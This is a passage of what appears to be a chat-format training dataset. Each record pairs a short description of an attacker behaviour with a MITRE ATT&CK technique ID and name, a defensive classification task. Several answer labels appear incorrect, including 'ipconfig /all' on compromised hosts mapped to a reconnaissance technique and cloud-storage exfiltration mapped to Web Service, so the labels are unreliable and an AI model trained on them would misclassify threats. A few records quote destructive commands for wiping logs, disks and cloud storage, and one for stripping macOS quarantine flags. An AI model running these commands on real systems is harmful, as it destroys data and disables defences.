                "content": "T1546.014 - Event Triggered Execution: Emond"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The ransomware drops an encrypted archive and then runs a PowerShell command to decode it with AES‑256 before encrypting files."
            },
            {
                "role": "assistant",
                "content": "T1140 - Deobfuscate/Decode Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker attempts to log in to multiple accounts using the same credentials, what technique does this represent?"
            },
            {
                "role": "assistant",
                "content": "T1110.004 - Brute Force: Credential Stuffing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries exploited a remote file inclusion flaw in a publicly exposed PHP application to execute arbitrary scripts on the host."
            },
            {
                "role": "assistant",
                "content": "T1190 - Exploit Public-Facing Application"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious insider inserts a backdoor into a serverless deployment script, allowing persistent access to the cloud account."
            },
            {
                "role": "assistant",
                "content": "T1584.007 - Compromise Infrastructure: Serverless"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors modified Azure Firewall policies to allow traffic from malicious IP ranges, bypassing security controls."
            },
            {
                "role": "assistant",
                "content": "T1562.007 - Impair Defenses: Disable or Modify Cloud Firewall"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers hijack a legitimate DNS record to point traffic to a command‑and‑control server they control."
            },
            {
                "role": "assistant",
                "content": "T1584.001 - Compromise Infrastructure: Domains"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor uses a crafted XSL stylesheet to leverage the XSL Script Processing capability of Windows to run arbitrary JavaScript code during document transformation."
            },
            {
                "role": "assistant",
                "content": "T1220 - XSL Script Processing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat software performs APC (Asynchronous Procedure Call) injection, queuing a user-mode APC to execute code in a target process thread."
            },
            {
                "role": "assistant",
                "content": "T1055 - Process Injection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actor uses a legitimate cloud storage service to upload stolen files, masking exfiltration activity."
            },
            {
                "role": "assistant",
                "content": "T1102 - Web Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using the macOS command 'xattr -dr com.apple.quarantine' on an executable, the adversary removes Gatekeeper's quarantine tag."
            },
            {
                "role": "assistant",
                "content": "T1553.001 - Subvert Trust Controls: Gatekeeper Bypass"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat group abuses Azure Bastion to forward RDP traffic and gain unauthorized remote access to virtual machines."
            },
            {
                "role": "assistant",
                "content": "T1021.007 - Remote Services: Cloud Services"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers use search engines to locate unpublished research papers on a target's product design."
            },
            {
                "role": "assistant",
                "content": "T1597 - Search Closed Sources"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers leveraged SMB to copy a ransomware payload from a malicious share into the target machine's temporary directory before execution."
            },
            {
                "role": "assistant",
                "content": "T1105 - Ingress Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary uses a signed Outlook form template that auto-executes a PowerShell script during the application's initialization."
            },
            {
                "role": "assistant",
                "content": "T1137.003 - Office Application Startup: Outlook Forms"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker abuses a legitimate internal proxy service by adding ACLs that direct victim traffic to a malicious endpoint."
            },
            {
                "role": "assistant",
                "content": "T1090.001 - Proxy: Internal Proxy"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A PowerShell command 'Get-Date' is run by the intrusion tool to capture the current date and time for logging purposes."
            },
            {
                "role": "assistant",
                "content": "T1124 - System Time Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using a downgrade attack, the perpetrator substitutes the current system image with an older, vulnerable version to achieve persistence."
            },
            {
                "role": "assistant",
                "content": "T1601.002 - Modify System Image: Downgrade System Image"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary sets up a knock sequence using TCP SYN packets to ports 1234, 2345, and 3456, after which the victim's firewall rules are altered to permit inbound traffic on port 9999."
            },
            {
                "role": "assistant",
                "content": "T1205.001 - Traffic Signaling: Port Knocking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker drops a C source file on the victim and uses the local compiler to build a malicious executable at runtime, evading signature-based detection."
            },
            {
                "role": "assistant",
                "content": "T1027.004 - Obfuscated Files or Information: Compile After Delivery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malware component writes additional SIDs into the token's SIDHistory field to masquerade as a domain admin."
            },
            {
                "role": "assistant",
                "content": "T1134.005 - Access Token Manipulation: SID-History Injection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Install rootkits to conceal malicious processes and files from system monitoring tools"
            },
            {
                "role": "assistant",
                "content": "T1014 - Rootkit"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary creates a malicious .lnk shortcut with a forged .ico file embedded in the metadata, causing the icon to appear legitimate while executing payload on launch."
            },
            {
                "role": "assistant",
                "content": "T1027.012 - Obfuscated Files or Information: LNK Icon Smuggling"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious update to a widely used third‑party library was published to a public repository, allowing the compromise of any software that integrated it."
            },
            {
                "role": "assistant",
                "content": "T1195.002 - Supply Chain Compromise: Compromise Software Supply Chain"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries exploit the Extra Window Memory Injection technique by allocating memory in a sibling window and queuing an APC to execute the payload."
            },
            {
                "role": "assistant",
                "content": "T1055.011 - Process Injection: Extra Window Memory Injection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intruder runs the ‘ipconfig /all’ command on compromised hosts to collect internal IP information."
            },
            {
                "role": "assistant",
                "content": "T1590.005 - Gather Victim Network Information: IP Addresses"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors employ DNS over HTTPS (DoH) to encrypt their C2 communications."
            },
            {
                "role": "assistant",
                "content": "T1071 - Application Layer Protocol"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker swaps the original system disk image with a malicious one, ensuring the compromised OS boots on startup."
            },
            {
                "role": "assistant",
                "content": "T1525 - Implant Internal Image"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Through a compromised admin panel, the intruder swapped out the site logo and added unauthorized text."
            },
            {
                "role": "assistant",
                "content": "T1491 - Defacement"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Operators exfiltrated data by embedding it within the body of outbound SMTP messages used for command and control."
            },
            {
                "role": "assistant",
                "content": "T1041 - Exfiltration Over C2 Channel"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors exploit insecure container registries to pull and run a tainted image on the target host."
            },
            {
                "role": "assistant",
                "content": "T1610 - Deploy Container"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "In this incident, the attacker performed OS credential dumping via DCSync, extracting credential material without needing to dump LSASS memory."
            },
            {
                "role": "assistant",
                "content": "T1003.006 - OS Credential Dumping: DCSync"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware reads the Apache access logs to find IP addresses of recent visitors."
            },
            {
                "role": "assistant",
                "content": "T1654 - Log Enumeration"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious code performs a LDAP search for objects of class 'user' to list all domain accounts on the compromised system."
            },
            {
                "role": "assistant",
                "content": "T1087.002 - Account Discovery: Domain Account"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "During data theft, the malware batches stolen files into 500‑byte segments to remain under the network's exfiltration thresholds."
            },
            {
                "role": "assistant",
                "content": "T1030 - Data Transfer Size Limits"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker executed an snmpwalk command against the target's router to harvest its MIB data."
            },
            {
                "role": "assistant",
                "content": "T1602.001 - Data from Configuration Repository: SNMP (MIB Dump)"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious actor used AWS CLI commands to generate a snapshot of an EC2 instance, ensuring they could restore the environment after the intrusion is discovered."
            },
            {
                "role": "assistant",
                "content": "T1578.001 - Modify Cloud Compute Infrastructure: Create Snapshot"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor leverages a firmware update mechanism to insert a hidden module that executes during system boot."
            },
            {
                "role": "assistant",
                "content": "T1542.002 - Pre-OS Boot: Component Firmware"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker compiles a malicious Docker image directly on the compromised Windows server using local build tools."
            },
            {
                "role": "assistant",
                "content": "T1612 - Build Image on Host"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversary logged into the AWS Systems Manager console with stolen credentials to execute remote commands on EC2 instances."
            },
            {
                "role": "assistant",
                "content": "T1538 - Cloud Service Dashboard"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware writes a .vbs script to %TEMP% which is then executed with wscript.exe to download a ransomware module."
            },
            {
                "role": "assistant",
                "content": "T1059.005 - Command and Scripting Interpreter: Visual Basic"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An intrusion uses the Windows \"Magnifier\" accessibility tool to execute a hidden binary each time the magnifier is launched."
            },
            {
                "role": "assistant",
                "content": "T1546.008 - Event Triggered Execution: Accessibility Features"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker leverages the 'restart' option in the system management interface to reboot the server."
            },
            {
                "role": "assistant",
                "content": "T1529 - System Shutdown/Reboot"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using stolen password hash values, the malicious actor logs into remote services by replaying the hash as proof of credentials."
            },
            {
                "role": "assistant",
                "content": "T1550.002 - Use Alternate Authentication Material: Pass the Hash"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The group performs bulk lookups on public DNS record repositories, extracting MX and NS records to gain insight into the target’s email and name server configurations."
            },
            {
                "role": "assistant",
                "content": "T1596.001 - Search Open Technical Databases: DNS/Passive DNS"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor acquired a virtual private server via a prepaid service to bypass detection and host malicious binaries."
            },
            {
                "role": "assistant",
                "content": "T1583.003 - Acquire Infrastructure: Virtual Private Server"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious software injects false entries into the DNS cache database, redirecting traffic to command‑and‑control servers."
            },
            {
                "role": "assistant",
                "content": "T1565.001 - Data Manipulation: Stored Data Manipulation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious Outlook form templates are sent via phishing emails to achieve code execution on the victim's machine."
            },
            {
                "role": "assistant",
                "content": "T1137.003 - Office Application Startup: Outlook Forms"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary leverages group policy to set a malicious executable as the default for .rtf files across the domain, enabling widespread execution."
            },
            {
                "role": "assistant",
                "content": "T1546.001 - Event Triggered Execution: Change Default File Association"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors compromise a service account and use it to move laterally across the network by authenticating to other systems."
            },
            {
                "role": "assistant",
                "content": "T1078 - Valid Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker clears the audit logs on a compromised Linux host by issuing the command 'journalctl --rotate && journalctl --vacuum-time=1s'."
            },
            {
                "role": "assistant",
                "content": "T1070.002 - Indicator Removal: Clear Linux or Mac System Logs"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor used a phishing email to trick a sysadmin into uploading their SSH private key to a malicious server."
            },
            {
                "role": "assistant",
                "content": "T1552.004 - Unsecured Credentials: Private Keys"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious actor injects a counterfeit system image into the virtualization environment, causing VMs to start with embedded malicious binaries."
            },
            {
                "role": "assistant",
                "content": "T1525 - Implant Internal Image"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker performed an SNMP MIB dump to collect interface statistics and VLAN configurations."
            },
            {
                "role": "assistant",
                "content": "T1602.001 - Data from Configuration Repository: SNMP (MIB Dump)"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker used a Discord private message to distribute a trojanized .exe disguised as a game cheat installer."
            },
            {
                "role": "assistant",
                "content": "T1566.003 - Phishing: Spearphishing via Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A compromised host runs a Python script that transfers a ransomware payload to other systems via RDP file redirection."
            },
            {
                "role": "assistant",
                "content": "T1570 - Lateral Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries manipulate email delegation settings to give themselves the ability to read, delete, and forward victim emails."
            },
            {
                "role": "assistant",
                "content": "T1098.002 - Account Manipulation: Additional Email Delegate Permissions"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Phishing email contains a link to a malicious site that records the victim’s entered email credentials via JavaScript keylogging."
            },
            {
                "role": "assistant",
                "content": "T1586.002 - Compromise Accounts: Email Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware reads the Application event logs on a Windows machine to find error messages that reveal software versions."
            },
            {
                "role": "assistant",
                "content": "T1654 - Log Enumeration"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary purchased a list of network IP ranges and associated host details from a closed‑source intelligence broker."
            },
            {
                "role": "assistant",
                "content": "T1597.002 - Search Closed Sources: Purchase Technical Data"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By exploiting VDSO manipulation, the attacker redirects kernel calls to execute a payload within an existing process."
            },
            {
                "role": "assistant",
                "content": "T1055.014 - Process Injection: VDSO Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker obtained a code signing certificate through a phishing campaign targeting a certificate authority employee."
            },
            {
                "role": "assistant",
                "content": "T1553.002 - Subvert Trust Controls: Code Signing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Automated exfiltration was observed where the malware zipped logs and posted them to a malicious HTTP endpoint every 30 minutes."
            },
            {
                "role": "assistant",
                "content": "T1020 - Automated Exfiltration"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious LKM is loaded via a compromised initramfs image, granting early‑boot persistence."
            },
            {
                "role": "assistant",
                "content": "T1542.003 - Pre-OS Boot: Bootkit"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker creates a malicious stored procedure in a Microsoft SQL database to run PowerShell scripts and exfiltrate data."
            },
            {
                "role": "assistant",
                "content": "T1505.001 - Server Software Component: SQL Stored Procedures"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An adversary utilizes a code obfuscation technique to make malware more difficult to analyze and understand, often by using complex algorithms or encryption."
            },
            {
                "role": "assistant",
                "content": "T1027 - Obfuscated Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The group weaponized an old vulnerability in the Java runtime environment to execute arbitrary code and download a ransomware payload."
            },
            {
                "role": "assistant",
                "content": "T1588.006 - Obtain Capabilities: Vulnerabilities"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker logged into the Azure Security Center via a compromised account to suppress security alerts and enable persistence."
            },
            {
                "role": "assistant",
                "content": "T1538 - Cloud Service Dashboard"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker uses a setuid root program that contains a buffer overflow, allowing code execution with system-level rights."
            },
            {
                "role": "assistant",
                "content": "T1548.001 - Abuse Elevation Control Mechanism: Setuid and Setgid"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A compromised PDF attachment in a chat application is opened by the user, leading to execution of an embedded malicious JavaScript payload."
            },
            {
                "role": "assistant",
                "content": "T1204.002 - User Execution: Malicious File"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Hackers exploit misconfigured cloud storage buckets to download configuration files that expose admin credentials in clear text."
            },
            {
                "role": "assistant",
                "content": "T1552.001 - Unsecured Credentials: Credentials In Files"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intruder uses \"diskpart clean all\" on Windows to erase the disk's partition information and metadata."
            },
            {
                "role": "assistant",
                "content": "T1561.002 - Disk Wipe: Disk Structure Wipe"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A hacker exploits a misconfiguration to create a new cloud service account with broad scope."
            },
            {
                "role": "assistant",
                "content": "T1136.003 - Create Account: Cloud Account"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers employ steganographic techniques to conceal a PowerShell backdoor within the whitespace of a HTML file delivered via a compromised website."
            },
            {
                "role": "assistant",
                "content": "T1027.003 - Obfuscated Files or Information: Steganography"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker used the Azure CLI command 'az storage blob delete-batch' to remove all blobs in a container."
            },
            {
                "role": "assistant",
                "content": "T1485 - Data Destruction"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker changes the ACL on a legitimate .msi installer file so that it can be executed by low‑privilege users, then replaces it with a malicious version to gain code execution."
            },
            {
                "role": "assistant",
                "content": "T1574.005 - Hijack Execution Flow: Executable Installer File Permissions Weakness"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker stores a malicious JavaScript payload inside a browser's local storage and triggers it via a forged XSS, executing without files."
            },
            {
                "role": "assistant",
                "content": "T1027.011 - Obfuscated Files or Information: Fileless Storage"
            }
